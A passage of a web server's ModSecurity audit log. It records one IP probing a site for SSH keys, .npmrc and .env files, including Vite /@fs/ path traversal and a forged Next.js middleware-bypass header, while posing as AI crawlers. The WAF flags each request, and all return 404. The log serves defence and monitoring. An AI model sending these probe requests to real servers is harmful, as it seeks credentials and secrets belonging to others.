Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.ssh/config"] [unique_id "aqakdWM7dE9KgIIOpQiAjAAAAMQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305973875040 108170 (- - -)
Stopwatch2: 1789305973875040 108170; combined=37822, p1=243, p2=37511, p3=0, p4=0, p5=68, sr=86, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--614fb530-Z--
--e6525144-A--
[13/Sep/2026:16:26:14.148192 +0300] aqakdjTJ6xTvcJoem7f96gAAAE0 34.73.17.152 55518 127.0.0.1 7081
--e6525144-B--
GET /.ssh/known_hosts HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--e6525144-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--e6525144-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/known_hosts||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/known_hosts||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/known_hosts||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.ssh/known_hosts"] [unique_id "aqakdjTJ6xTvcJoem7f96gAAAE0"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/known_hosts||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.ssh/known_hosts"] [unique_id "aqakdjTJ6xTvcJoem7f96gAAAE0"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305974054357 93889 (- - -)
Stopwatch2: 1789305974054357 93889; combined=32786, p1=339, p2=32371, p3=0, p4=0, p5=76, sr=106, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e6525144-Z--
--4969c35f-A--
[13/Sep/2026:16:26:14.262219 +0300] aqakdisVWymXUono-eRXUgAAABc 34.73.17.152 55520 127.0.0.1 7081
--4969c35f-B--
GET /id_rsa HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--4969c35f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--4969c35f-H--
Message: Warning. Matched phrase "id_rsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/id_rsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "id_rsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/id_rsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "id_rsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/id_rsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/id_rsa"] [unique_id "aqakdisVWymXUono-eRXUgAAABc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "id_rsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/id_rsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/id_rsa"] [unique_id "aqakdisVWymXUono-eRXUgAAABc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305974128806 133485 (- - -)
Stopwatch2: 1789305974128806 133485; combined=36688, p1=215, p2=36369, p3=0, p4=0, p5=103, sr=84, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--4969c35f-Z--
--6c4b984e-A--
[13/Sep/2026:16:26:14.392811 +0300] aqakdisVWymXUono-eRXUwAAAAA 34.73.17.152 55544 127.0.0.1 7081
--6c4b984e-B--
GET /.npmrc HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--6c4b984e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--6c4b984e-H--
Message: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.npmrc||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.npmrc||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.npmrc||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.npmrc"] [unique_id "aqakdisVWymXUono-eRXUwAAAAA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.npmrc||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.npmrc"] [unique_id "aqakdisVWymXUono-eRXUwAAAAA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305974204667 188214 (- - -)
Stopwatch2: 1789305974204667 188214; combined=41071, p1=257, p2=40741, p3=0, p4=0, p5=72, sr=99, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6c4b984e-Z--
--d6cfd369-A--
[13/Sep/2026:16:26:14.509835 +0300] aqakdmM7dE9KgIIOpQiAkgAAANQ 34.73.17.152 55598 127.0.0.1 7081
--d6cfd369-B--
GET /id_dsa HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--d6cfd369-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--d6cfd369-H--
Message: Warning. Matched phrase "id_dsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/id_dsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "id_dsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/id_dsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "id_dsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/id_dsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/id_dsa"] [unique_id "aqakdmM7dE9KgIIOpQiAkgAAANQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "id_dsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/id_dsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/id_dsa"] [unique_id "aqakdmM7dE9KgIIOpQiAkgAAANQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305974408420 101470 (- - -)
Stopwatch2: 1789305974408420 101470; combined=32316, p1=1612, p2=30637, p3=0, p4=0, p5=66, sr=796, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d6cfd369-Z--
--dda93a4e-A--
[13/Sep/2026:16:26:15.145221 +0300] aqakdmM7dE9KgIIOpQiAlgAAAMk 34.73.17.152 55700 127.0.0.1 7081
--dda93a4e-B--
GET /.svn/entries HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--dda93a4e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--dda93a4e-H--
Message: Warning. Matched phrase ".svn/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.svn/entries||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".svn/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.svn/entries||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".svn/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.svn/entries||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.svn/entries"] [unique_id "aqakdmM7dE9KgIIOpQiAlgAAAMk"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".svn/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.svn/entries||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.svn/entries"] [unique_id "aqakdmM7dE9KgIIOpQiAlgAAAMk"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305974887305 258000 (- - -)
Stopwatch2: 1789305974887305 258000; combined=31484, p1=283, p2=31142, p3=0, p4=0, p5=59, sr=104, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--dda93a4e-Z--
--b6e95840-A--
[13/Sep/2026:16:26:15.435601 +0300] aqakd2M7dE9KgIIOpQiAmAAAAMQ 34.73.17.152 55770 127.0.0.1 7081
--b6e95840-B--
GET /@fs/app/.env?raw?? HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--b6e95840-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--b6e95840-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/@fs/app/.env"] [unique_id "aqakd2M7dE9KgIIOpQiAmAAAAMQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305975363086 72672 (- - -)
Stopwatch2: 1789305975363086 72672; combined=3442, p1=242, p2=3141, p3=0, p4=0, p5=59, sr=94, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b6e95840-Z--
--68a78f69-A--
[13/Sep/2026:16:26:15.553335 +0300] aqakdysVWymXUono-eRXVgAAAAU 34.73.17.152 55762 127.0.0.1 7081
--68a78f69-B--
GET /.idea/WebServers.xml HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--68a78f69-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--68a78f69-H--
Message: Warning. Matched phrase ".idea/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.idea/webservers.xml||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".idea/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.idea/webservers.xml||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".idea/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.idea/webservers.xml||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.idea/WebServers.xml"] [unique_id "aqakdysVWymXUono-eRXVgAAAAU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".idea/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.idea/webservers.xml||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.idea/WebServers.xml"] [unique_id "aqakdysVWymXUono-eRXVgAAAAU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305975285809 267591 (- - -)
Stopwatch2: 1789305975285809 267591; combined=34715, p1=272, p2=34371, p3=0, p4=0, p5=72, sr=117, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--68a78f69-Z--
--c0603758-A--
[13/Sep/2026:16:26:15.648433 +0300] aqakd2M7dE9KgIIOpQiAmwAAANc 34.73.17.152 39874 127.0.0.1 7081
--c0603758-B--
GET /@fs/src/.env?raw?? HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--c0603758-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--c0603758-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/@fs/src/.env"] [unique_id "aqakd2M7dE9KgIIOpQiAmwAAANc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305975578425 70065 (- - -)
Stopwatch2: 1789305975578425 70065; combined=3891, p1=263, p2=3570, p3=0, p4=0, p5=58, sr=124, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c0603758-Z--
--4bbe5c7a-A--
[13/Sep/2026:16:26:15.839883 +0300] aqakd2M7dE9KgIIOpQiAnAAAAM0 34.73.17.152 39910 127.0.0.1 7081
--4bbe5c7a-B--
GET /@fs/../.env?raw?? HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--4bbe5c7a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--4bbe5c7a-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env"] [unique_id "aqakd2M7dE9KgIIOpQiAnAAAAM0"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305975745108 94849 (- - -)
Stopwatch2: 1789305975745108 94849; combined=3891, p1=222, p2=3612, p3=0, p4=0, p5=57, sr=81, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--4bbe5c7a-Z--
--b793d70d-A--
[13/Sep/2026:16:26:15.890193 +0300] aqakd2M7dE9KgIIOpQiAnQAAANA 34.73.17.152 39942 127.0.0.1 7081
--b793d70d-B--
GET /@fs/..%252f..%252f..%252f..%252f..%252froot/.env?raw?? HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--b793d70d-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--b793d70d-E--
--b793d70d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "aqakd2M7dE9KgIIOpQiAnQAAANA"]
Stopwatch: 1789305975885072 5190 (- - -)
Stopwatch2: 1789305975885072 5190; combined=3759, p1=215, p2=3427, p3=71, p4=8, p5=38, sr=80, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
